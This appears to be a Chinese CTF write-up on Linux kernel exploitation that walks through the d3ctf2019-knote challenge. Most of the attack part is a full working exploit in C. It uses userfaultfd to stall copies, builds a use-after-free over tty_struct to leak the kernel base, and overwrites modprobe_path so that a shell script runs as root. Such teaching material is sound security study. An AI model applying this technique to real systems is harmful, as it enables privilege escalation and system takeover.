linux kernel pwn学习之条件竞争(二)userfaultfd

2024-02-20 01:30

本文主要是介绍linux kernel pwn学习之条件竞争(二)userfaultfd,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

userfaultfd、mobprobe_path、mod_tree的利用

userfaultfd是linux下的一直缺页处理机制,用户可以自定义函数来处理这种事件。所谓的缺页,就是所访问的页面还没有装入RAM中。比如mmap创建的堆,它实际上还没有装载到内存中,系统有自己默认的机制来处理,用户也可以自定义处理函数,在处理函数没有结束之前,缺页发生的位置将处于暂停状态。这将非常有助于条件竞争的利用。

举个栗子

假如在内核里有这样一段代码

  1. if (ptr) {  
  2.    ...  
  3.    copy_from_user(ptr,user_buf,len);  
  4.    ...  
  5. }  

如果,我们的user_buf是一块mmap映射的,并且未初始化的区域,此时就会触发缺页错误,copy_from_user将暂停执行,在暂停的这段时间内,我们开另一个线程,将ptr释放掉,再把其他结构申请到这里(比如tty_struct),然后当缺页处理结束后,copy_from_user恢复执行,然而ptr此时指向的是tty_struct结构,那么就能对tty_struct结构进行修改了。虽然说,不用缺页处理,也能造成条件竞争,但是几率比较小。而利用了缺页处理,几率将增加很大很大。

大概就是这个道理,我们来看看,如何注册userfaultfd吧,话不多说,这是模板,更详细的可以自行去看看文档。

  1. //注册一个userfaultfd来处理缺页错误  
  2. void registerUserfault(void *fault_page,void *handler)  
  3. {  
  4.    pthread_t thr;  
  5.    struct uffdio_api ua;  
  6.    struct uffdio_register ur;  
  7.    uint64_t uffd  = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);  
  8.    ua.api = UFFD_API;  
  9.    ua.features    = 0;  
  10.    if (ioctl(uffd, UFFDIO_API, &ua) == -1)  
  11.       errExit("[-] ioctl-UFFDIO_API");  
  12.   
  13.    ur.range.start = (unsigned long)fault_page; //我们要监视的区域  
  14.    ur.range.len   = PAGE_SIZE;  
  15.    ur.mode        = UFFDIO_REGISTER_MODE_MISSING;  
  16.    if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1) //注册缺页错误处理,当发生缺页时,程序会阻塞,此时,我们在另一个线程里操作  
  17.       errExit("[-] ioctl-UFFDIO_REGISTER");  
  18.    //开一个线程,接收错误的信号,然后处理  
  19.    int s = pthread_create(&thr, NULL,handler, (void*)uffd);  
  20.    if (s!=0)  
  21.       errExit("[-] pthread_create");  
  22. }  

为了更好的理解,我们以d3ctf2019-knote为例

d3ctf2019-knote

首先,查看一下启动脚本

  1. #!/bin/sh  
  2. qemu-system-x86_64 \  
  3. -m 128M \  
  4. -kernel ./bzImage \  
  5. -initrd  ./rootfs.img \  
  6. -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 kaslr" \  
  7. -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \  
  8. -nographic \  
  9. -monitor /dev/null \  
  10. -smp cores=2,threads=1 \  
  11. -cpu qemu64,+smep,+smap \  

发现开启了smep、smap机制,接下来,我们启动系统,查看一下内核版本

在linux 5以上,似乎很难ret2usr,貌似多了其他的机制,使得单纯修改cr4不起作用,以后慢慢研究。

然后,我们用IDA分析一下note.ko驱动文件

Ioctl定义了经典的增删改查操作

Add操作,有锁保护着,不担心多线程,size不能超过0xFFF

Delete操作,也没啥好说的

Edit操作全程没有加锁

Get操作也是全程没有加锁

那么思路很明显了,使用userfaultfd暂停copy_user_generic_unrolled函数,然后在另一个线程里趁机释放ptr,并把其他结构,比如tty_struct申请到这里,然后恢复copy_user_generic_unrolled的执行,从而达到对指定数据结构的读/写,之前,我在https://blog.csdn.net/seaaseesa/article/details/104591448这篇博客了讲到了可以伪造空闲堆的next指针,实现任意地址处分配,我们就可以利用这个。在linux kernel 5以上,似乎ROP到用户的区域变得困难,那么,我们有了另一个好方法,那就是劫持modprobe_pathmodprobe_path执行了一个二进制文件,默认为/bin/ modprobe,当系统执行一个非法二进制文件(不是elf格式,也不是文本)的时候,就会去调用modprobe_path指向的程序。

  1. int __request_module(bool wait, const char *fmt, ...)  
  2. {  
  3.     va_list args;  
  4.     char module_name[MODULE_NAME_LEN];  
  5.     int ret;  
  6.   
  7.     /* 
  8.      * We don't allow synchronous module loading from async.  Module 
  9.      * init may invoke async_synchronize_full() which will end up 
  10.      * waiting for this task which already is waiting for the module 
  11.      * loading to complete, leading to a deadlock. 
  12.      */  
  13.     WARN_ON_ONCE(wait && current_is_async());  
  14.   
  15.     if (!modprobe_path[0])  
  16.         return 0;  
  17.   
  18.     va_start(args, fmt);  
  19.     ret = vsnprintf(module_name, MODULE_NAME_LEN, fmt, args);  
  20.     va_end(args);  
  21.     if (ret >= MODULE_NAME_LEN)  
  22.         return -ENAMETOOLONG;  
  23.   
  24.     ret = security_kernel_module_request(module_name);  
  25.     if (ret)  
  26.         return ret;  
  27.   
  28.     if (atomic_dec_if_positive(&kmod_concurrent_max) < 0) {  
  29.         pr_warn_ratelimited("request_module: kmod_concurrent_max (%u) close to 0 (max_modprobes: %u), for module %s, throttling...",  
  30.                     atomic_read(&kmod_concurrent_max),  
  31.                     MAX_KMOD_CONCURRENT, module_name);  
  32.         ret = wait_event_killable_timeout(kmod_wq,  
  33.                           atomic_dec_if_positive(&kmod_concurrent_max) >= 0,  
  34.                           MAX_KMOD_ALL_BUSY_TIMEOUT * HZ);  
  35.         if (!ret) {  
  36.             pr_warn_ratelimited("request_module: modprobe %s cannot be processed, kmod busy with %d threads for more than %d seconds now",  
  37.                         module_name, MAX_KMOD_CONCURRENT, MAX_KMOD_ALL_BUSY_TIMEOUT);  
  38.             return -ETIME;  
  39.         } else if (ret == -ERESTARTSYS) {  
  40.             pr_warn_ratelimited("request_module: sigkill sent for modprobe %s, giving up", module_name);  
  41.             return ret;  
  42.         }  
  43.     }  
  44.   
  45.     trace_module_request(module_name, wait, _RET_IP_);  
  46.   
  47.     ret = call_modprobe(module_name, wait ? UMH_WAIT_PROC : UMH_WAIT_EXEC);  
  48.   
  49.     atomic_inc(&kmod_concurrent_max);  
  50.     wake_up(&kmod_wq);  
  51.   
  52.     return ret;  
  53. }  

内核调用call_modprobe函数执行mobprobe_path指向的文件,并且call_modprobe函数拥有root权限,我们只需要劫持mobprobe_path,指向我们提权的脚本,然后指向一个非法二进制,就能触发提权脚本的执行。

与mobprobe_path配套的还有mod_tree,这里记录着ko模块的加载地址,因此可以用来泄露模块地址。这两个变量的地址都能在/proc/kallsyms里找到,因此,我们可以得到它们的静态地址。

大概就是这样,直接上exploit.c

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <poll.h>
#include <sys/syscall.h>
#include <sys/mman.h>
//页大小
#define PAGE_SIZE 0x1000
//tty_struct的大小
#define TTY_STRUCT_SIZE 0X2E0
//cat /proc/kallsyms | grep modprobe_path
#define MOD_PROBE 0x145c5c0
//第二次利用时,堆统一的大小
//随便设置,过大过小都不好
#define CHUNK_SIZE 0x100
//modprobe_path的地址
size_t modprobe_path;//驱动的文件描述符
int fd;
//ptmx的文件描述符
int tty_fd;//传给驱动的数据结构
struct Data {union {size_t size; //大小size_t index; //下标};void *buf; //数据
};
void errExit(char *msg) {puts(msg);exit(-1);
}void initFD() {fd = open("/dev/knote",O_RDWR);if (fd < 0) {errExit("device open error!!");}
}
//创建一个节点
void kcreate(size_t size) {struct Data data;data.size = size;data.buf = NULL;ioctl(fd,0x1337,&data);
}
//删除一个节点
void kdelete(size_t index) {struct Data data;data.index = index;ioctl(fd,0x6666,&data);
}
//编辑一个节点
void kedit(size_t index,void *buf) {struct Data data;data.index = index;data.buf = buf;ioctl(fd,0x8888,&data);
}
//显示节点的内容
void kshow(size_t index,void *buf) {struct Data data;data.index = index;data.buf = buf;ioctl(fd,0x2333,&data);
}//注册一个userfaultfd来处理缺页错误
void registerUserfault(void *fault_page,void *handler)
{pthread_t thr;struct uffdio_api ua;struct uffdio_register ur;uint64_t uffd  = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);ua.api = UFFD_API;ua.features    = 0;if (ioctl(uffd, UFFDIO_API, &ua) == -1)errExit("[-] ioctl-UFFDIO_API");ur.range.start = (unsigned long)fault_page; //我们要监视的区域ur.range.len   = PAGE_SIZE;ur.mode        = UFFDIO_REGISTER_MODE_MISSING;if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1) //注册缺页错误处理,当发生缺页时,程序会阻塞,此时,我们在另一个线程里操作errExit("[-] ioctl-UFFDIO_REGISTER");//开一个线程,接收错误的信号,然后处理int s = pthread_create(&thr, NULL,handler, (void*)uffd);if (s!=0)errExit("[-] pthread_create");
}//针对laekKernelBase时的缺页处理线程
//这个线程里,我们不需要做什么,仅仅是
//为了拖延阻塞时间,给子进程足够的时间
//来形成一个UAF
void* leak_handler(void *arg)
{struct uffd_msg msg;unsigned long uffd = (unsigned long)arg;puts("[+] leak_handler created");sleep(3); //休眠一下,留给子进程足够时间操作struct pollfd pollfd;int nready;pollfd.fd     = uffd;pollfd.events = POLLIN;//poll会阻塞,直到收到缺页错误的消息nready = poll(&pollfd, 1, -1);if (nready != 1)errExit("[-] Wrong pool return value");nready = read(uffd, &msg, sizeof(msg));if (nready <= 0) {errExit("[-]msg error!!");}char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);if (page == MAP_FAILED)errExit("[-]mmap page error!!");struct uffdio_copy uc;//初始化page页memset(page, 0, sizeof(page));uc.src = (unsigned long)page;//出现缺页的位置uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);;uc.len = PAGE_SIZE;uc.mode = 0;uc.copy = 0;//复制数据到缺页处,并恢复copy_user_generic_unrolled的执行//然而,我们在阻塞的这段时间,堆0的内容已经是tty_struct结构//因此,copy_user_generic_unrolled将会把tty_struct的结构复制给我们用户态ioctl(uffd, UFFDIO_COPY, &uc);puts("[+] leak_handler done!!");return NULL;
}//泄露内核地址
void leakKernelBase() {//创建一个与tty_struct结构大小相同的堆kcreate(TTY_STRUCT_SIZE);//用于接收kshow的内容,由于我们是用mmap映射的一块区域,传入kshow时,导致缺页错误,从而可以进入我们自定义的//处理函数里阻塞char *user_buf = (char*)mmap(NULL,PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);if (user_buf == MAP_FAILED)errExit("[-] mmap user_buf error!!");//注册一个userfaultfd,监视user_buf处的缺页registerUserfault(user_buf,leak_handler);int pid = fork();if (pid < 0) {errExit("[-]fork error!!");} else if (pid == 0) { //子进程sleep(1); //让父进程先执行,进入userfaultfd阻塞,这样子线程可以为所欲为的操作kdelete(0); //删除我们创建的那个堆tty_fd = open("/dev/ptmx",O_RDWR); //这一步的作用是让tty_struct的结构申请到我们释放后的堆里,再用UAF就能泄露信息exit(0); //退出子进程} else {//父进程触发缺页错误,从而进入handle函数,阻塞,给子进程足够的操作时间kshow(0,user_buf);//现在,user_buf里存储着tty_struct结构,我们读出来,可以得到很多数据size_t *data = (size_t *)user_buf;if (data[7] == 0) { //没有数据,说明失败了munmap(user_buf, PAGE_SIZE);close(tty_fd);errExit("[-]leak data error!!");}close(tty_fd); //关闭ptmx设备,释放占用的空间//得到某函数的地址size_t x_fun_addr = data[0x56];//计算出内核基址size_t kernel_base = x_fun_addr - 0x5d4ef0;//当内核运行未知的二进制文件时,会调用modprobe_path指向的可执行文件//因此,我们的目的是劫持modprobe_path,指向一个shell文件即可modprobe_path = kernel_base + MOD_PROBE;printf("kernel_base=0x%lx\n",kernel_base);printf("modprobe_path=0x%lx\n",modprobe_path);}
}//针对writeHeapFD时的缺页处理线程
//这个线程里,我们要把modprobe_path的地址
//写进去
void* write_handler(void *arg)
{struct uffd_msg msg;unsigned long uffd = (unsigned long)arg;puts("[+] write_handler created");sleep(3); //休眠一下,留给子进程足够时间操作,形成UAFstruct pollfd pollfd;int nready;pollfd.fd     = uffd;pollfd.events = POLLIN;//poll会阻塞,直到收到缺页错误的消息nready = poll(&pollfd, 1, -1);if (nready != 1)errExit("[-] Wrong pool return value");nready = read(uffd, &msg, sizeof(msg));if (nready <= 0) {errExit("[-]msg error!!");}//断言是否是缺页的错误//assert(msg.event == UFFD_EVENT_PAGEFAULT);char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);if (page == MAP_FAILED)errExit("[-]mmap page error!!");struct uffdio_copy uc;//初始化page页memset(page, 0, sizeof(page));//写入modprobe_pathmemcpy(page,&modprobe_path,8);uc.src = (unsigned long)page;//出现缺页的位置uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);;uc.len = PAGE_SIZE;uc.mode = 0;uc.copy = 0;//复制数据到缺页处,并恢复copy_user_generic_unrolled的执行//然而,我们在阻塞的这段时间,堆0被释放掉了,当恢复的时候//是向一个已经释放的堆写数据ioctl(uffd, UFFDIO_COPY, &uc);puts("[+] writek_handler done!!");return NULL;
}//条件竞争改写空闲堆块的next指针,使用与leakKernelBase同样的方法
void writeHeapFD() {kcreate(CHUNK_SIZE); //0//用于接收kedit的内容,由于我们是用mmap映射的一块区域,传入kedit时,导致缺页错误,从而可以进入我们自定义的//处理函数里阻塞char *user_buf = (char*)mmap(NULL,PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);if (user_buf == MAP_FAILED)errExit("[-] mmap user_buf error!!");//注册一个userfaultfd,监视user_buf处的缺页registerUserfault(user_buf,write_handler);int pid = fork();if (pid < 0) {errExit("[-]fork error!!");} else if (pid == 0) { //子进程sleep(1); //让父进程先执行,进入userfaultfd阻塞kdelete(0); //删除堆,形成UAFexit(0);} else {kedit(0,user_buf); //触发缺页错误阻塞//kedit结束后,空闲块的next域已经写上了攻击目标的地址}}char tmp[0x100] = {0};
int main() {//初始化驱动initFD();//条件竞争泄露内核基址leakKernelBase();sleep(2);//将modprobe_path地址写到空闲堆的next指针处writeHeapFD();sleep(2);kcreate(CHUNK_SIZE); //0kcreate(CHUNK_SIZE); //1,分配到目标处strcpy(tmp,"/tmp/shell.sh");kedit(1,tmp); //将modprobe_path指向我们的shell文件//创建一个用于getshelll的脚本system("echo '#!/bin/sh' >> /tmp/shell.sh");system("echo 'chmod 777 /flag' >> /tmp/shell.sh");system("chmod +x /tmp/shell.sh");//创建一个非法的二进制文件,执行,触发shellsystem("echo -e '\\xff\\xff\\xff\\xff' > /tmp/fake");system("chmod +x /tmp/fake");//触发shell执行,修改flag文件普通用户可以读写system("/tmp/fake");system("cat /flag");//结束程序时,会释放堆,但是我们的modprobe_path处不是合法的堆,会释放出错,导致内核崩溃重启sleep(3);return 0;
}

失败了可以多次尝试,最后成功得到flag

这篇关于linux kernel pwn学习之条件竞争(二)userfaultfd的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/726620

相关文章

VScode连接远程Linux服务器环境配置图文教程

《VScode连接远程Linux服务器环境配置图文教程》:本文主要介绍如何安装和配置VSCode,包括安装步骤、环境配置(如汉化包、远程SSH连接)、语言包安装(如C/C++插件)等,文中给出了详... 目录一、安装vscode二、环境配置1.中文汉化包2.安装remote-ssh,用于远程连接2.1安装2

详解如何在React中执行条件渲染

《详解如何在React中执行条件渲染》在现代Web开发中,React作为一种流行的JavaScript库,为开发者提供了一种高效构建用户界面的方式,条件渲染是React中的一个关键概念,本文将深入探讨... 目录引言什么是条件渲染?基础示例使用逻辑与运算符(&&)使用条件语句列表中的条件渲染总结引言在现代

Linux中shell解析脚本的通配符、元字符、转义符说明

《Linux中shell解析脚本的通配符、元字符、转义符说明》:本文主要介绍shell通配符、元字符、转义符以及shell解析脚本的过程,通配符用于路径扩展,元字符用于多命令分割,转义符用于将特殊... 目录一、linux shell通配符(wildcard)二、shell元字符(特殊字符 Meta)三、s

Linux之软件包管理器yum详解

《Linux之软件包管理器yum详解》文章介绍了现代类Unix操作系统中软件包管理和包存储库的工作原理,以及如何使用包管理器如yum来安装、更新和卸载软件,文章还介绍了如何配置yum源,更新系统软件包... 目录软件包yumyum语法yum常用命令yum源配置文件介绍更新yum源查看已经安装软件的方法总结软

linux报错INFO:task xxxxxx:634 blocked for more than 120 seconds.三种解决方式

《linux报错INFO:taskxxxxxx:634blockedformorethan120seconds.三种解决方式》文章描述了一个Linux最小系统运行时出现的“hung_ta... 目录1.问题描述2.解决办法2.1 缩小文件系统缓存大小2.2 修改系统IO调度策略2.3 取消120秒时间限制3

Linux alias的三种使用场景方式

《Linuxalias的三种使用场景方式》文章介绍了Linux中`alias`命令的三种使用场景:临时别名、用户级别别名和系统级别别名,临时别名仅在当前终端有效,用户级别别名在当前用户下所有终端有效... 目录linux alias三种使用场景一次性适用于当前用户全局生效,所有用户都可调用删除总结Linux

Linux:alias如何设置永久生效

《Linux:alias如何设置永久生效》在Linux中设置别名永久生效的步骤包括:在/root/.bashrc文件中配置别名,保存并退出,然后使用source命令(或点命令)使配置立即生效,这样,别... 目录linux:alias设置永久生效步骤保存退出后功能总结Linux:alias设置永久生效步骤

Linux使用fdisk进行磁盘的相关操作

《Linux使用fdisk进行磁盘的相关操作》fdisk命令是Linux中用于管理磁盘分区的强大文本实用程序,这篇文章主要为大家详细介绍了如何使用fdisk进行磁盘的相关操作,需要的可以了解下... 目录简介基本语法示例用法列出所有分区查看指定磁盘的区分管理指定的磁盘进入交互式模式创建一个新的分区删除一个存

Linux使用dd命令来复制和转换数据的操作方法

《Linux使用dd命令来复制和转换数据的操作方法》Linux中的dd命令是一个功能强大的数据复制和转换实用程序,它以较低级别运行,通常用于创建可启动的USB驱动器、克隆磁盘和生成随机数据等任务,本文... 目录简介功能和能力语法常用选项示例用法基础用法创建可启动www.chinasem.cn的 USB 驱动

高效管理你的Linux系统: Debian操作系统常用命令指南

《高效管理你的Linux系统:Debian操作系统常用命令指南》在Debian操作系统中,了解和掌握常用命令对于提高工作效率和系统管理至关重要,本文将详细介绍Debian的常用命令,帮助读者更好地使... Debian是一个流行的linux发行版,它以其稳定性、强大的软件包管理和丰富的社区资源而闻名。在使用